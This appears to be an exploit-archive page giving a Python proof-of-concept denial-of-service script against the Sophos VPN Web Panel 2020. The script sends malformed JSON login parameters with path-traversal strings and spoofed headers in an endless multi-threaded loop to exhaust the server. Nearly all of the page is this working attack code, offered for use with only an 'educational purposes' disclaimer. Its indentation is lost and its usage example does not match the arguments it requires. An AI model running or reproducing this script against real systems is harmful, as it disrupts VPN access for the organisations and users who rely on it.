Sophos vpn web panel 2020 denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-07-22 | Type : webapps | Platform : multiple
This exploit / vulnerability Sophos vpn web panel 2020 denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Sophos VPN Web Panel 2020 - Denial of Service (Poc)
# Date: 2020-06-17
# Exploit Author: Berk KIRAS
# Vendor Homepage: https://www.sophos.com/
# Version:2020 Web Panel
# Tested on: Apache
# Berk KIRAS PwC - Cyber Security Specialist
# Sophos VPN Web Portal Denial of Service Vulnerability
# System parse JSON data. If we want to send some JSON with invalid data format
# for ex. valid -> {"test","test2"} , invalid -> {"test",PAYLOAD"test2"}
# The system can not parse this data fastly and service down
# payload_option2 ="../../../../../../../../../FILE./FILE"

#!/usr/bin/python3

import requests
import sys
import random
import threading

def send_req():
cnt = random.randint(9,22)
payload= "../"*cnt+'{FILE}'
my_datas_params = {"username":"test",
payload+"password":"admin",
"cookie":"0",
"submit":"<div class=\"login_screen_login_button_left\"></div><div class=\"login_screen_login_button_middle\">Oturum Aç</div><div class=\"login_screen_login_button_right\"></div>",
"language":"turkish",
"browser_id":"kbgacsyo-q4j5o7lr70e"}

# You should change some values into the headers
Host_addr = sys.argv[2]
Origin=sys.argv[1]+"://"+sys.argv[2]
Referrer=sys.argv[1]+"://"+sys.argv[2]
Cookie=sys.argv[4]
#Headers
my_datas_headers ={
"Host":str(Host_addr),
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
"Accept": "text/javascript, text/html, application/xml, text/xml, */*",
"Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest",
"X-Prototype-Version": "1.6.1_rc3",
"Content-type": "application/json; charset=UTF-8",
"Origin":Origin,
"Connection": "close",
"Referer":Referrer,
"Cookie":Cookie,
}
my_datas_headers2 ={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
"Accept": "text/javascript, text/html, application/xml, text/xml, */*",
"Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest",
"X-Prototype-Version": "1.6.1_rc3",
"Content-type": "application/json; charset=UTF-8",
"Connection": "close",
}
#If you want to edit and add headers some headers added
s = requests.session()
#if you want simple-> headers={'User-Agent': 'Mozilla', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}
s.headers.update(my_datas_headers2)
print(s.headers.items)
r = s.post(sys.argv[1]+"://"+sys.argv[2]+sys.argv[3],data=my_datas_params)

return s

def main():
if(len(sys.argv) < 6):
print("Usage:1) Implement your headers \n2)change payload if you want \n3) exploit.py <http/https> <domain> <page> <cookie-val> <Thread(1-10)> \nExample-> exploit.py http vpn.test.com /test/index.plx 2\nCoded by b3rkk1r4s | PwC Cyber")
sys.exit(0)
else:
try:
req_count=0
while(True):
if(int(sys.argv[5])==1):
resp = send_req()
req_count=req_count+1
print("Sending Requests... Count: "+str(req_count))
else:
threads = int(sys.argv[5])
jobs = []
for i in range(0, threads):
out_list = list()
thread = threading.Thread(target=send_req)
jobs.append(thread)
for j in jobs:
j.start()
print("Jobs Started!")
# Ensure all of the threads have finished
for j in jobs:
j.join()

except Exception:
print(Exception)

main()